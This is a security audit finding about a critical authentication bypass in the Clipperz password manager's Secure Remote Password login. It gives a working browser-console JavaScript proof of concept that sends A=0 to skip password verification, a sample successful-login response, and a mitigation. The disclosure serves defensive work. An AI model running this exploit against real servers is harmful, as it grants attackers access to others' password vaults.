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password-manager-mirror/doc/Vulnerabilities/CLP-01-017.txt

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CLP-01-017 SRP Authentication Bypass (Critical)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The specification explicitly states that the
parameter A provided by the client must not be zero. The Clipperz
implementation omits this check, which makes password verification
trivial to bypass.
According to the SRP-6 specification, the shared secret is on the server
side calculated as (Avu)b where A is supplied by the client. If A is
zero the result is also zero, and the resulting shared key is H(0). The
corresponding proof can easily be calculated by the attacker as H(0 | B
| H(0)). The following JavaScript function can be run in the console
when on the Clipperz login page. While the page itself is not updated,
the resulting JSON response clearly indicates a successful login.
SRP authentication bypass PoC:
(function PoC(){
function send(m,p){
x=new XMLHttpRequest();
x.open('post','/json',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('method='+m+'&parameters='+urlEncode(JSON.stringify(p)));
return JSON.parse(x.responseText);
}
r=send('knock',{"requestType":"CONNECT"});
r=send('handshake',{"parameters":
{"message":"connect",
"version":"0.2",
"parameters":
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
"A":"0"}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
S=new Clipperz.ByteArray("0")
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
M1=new Clipperz.ByteArray("0"+B+K)
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
return send('handshake',{"parameters":
{"message":"credentialCheck",
"version":"0.2",
"parameters":{"M1":M1}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
})()
Example JSON response:
{"result":
{"subscription":
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
"features":["OFFLINE_COPY","LIST_CARDS"],
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
"type":"EARLY_ADOPTER"},
"loginInfo":
{"current":
{"operatingSystem":"LINUX",
"disconnectionType":"STILL_CONNECTED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 03:09:28 UTC",
"country":"SE",
"ip":"83.248.183.26"},
"latest":
{"operatingSystem":"LINUX",
"disconnectionType":"SESSION_EXPIRED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 02:16:36 UTC",
"country":"SE",
"ip":"83.248.183.26"}},
"connectionId":
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
"offlineCopyNeeded":true,
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
"toll":
{"targetValue":
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
"requestType":"MESSAGE",
"cost":2}
}
To mitigate the issue sufficiently, the server needs to verify that A
cannot be 0 so the attack cannot be carried out.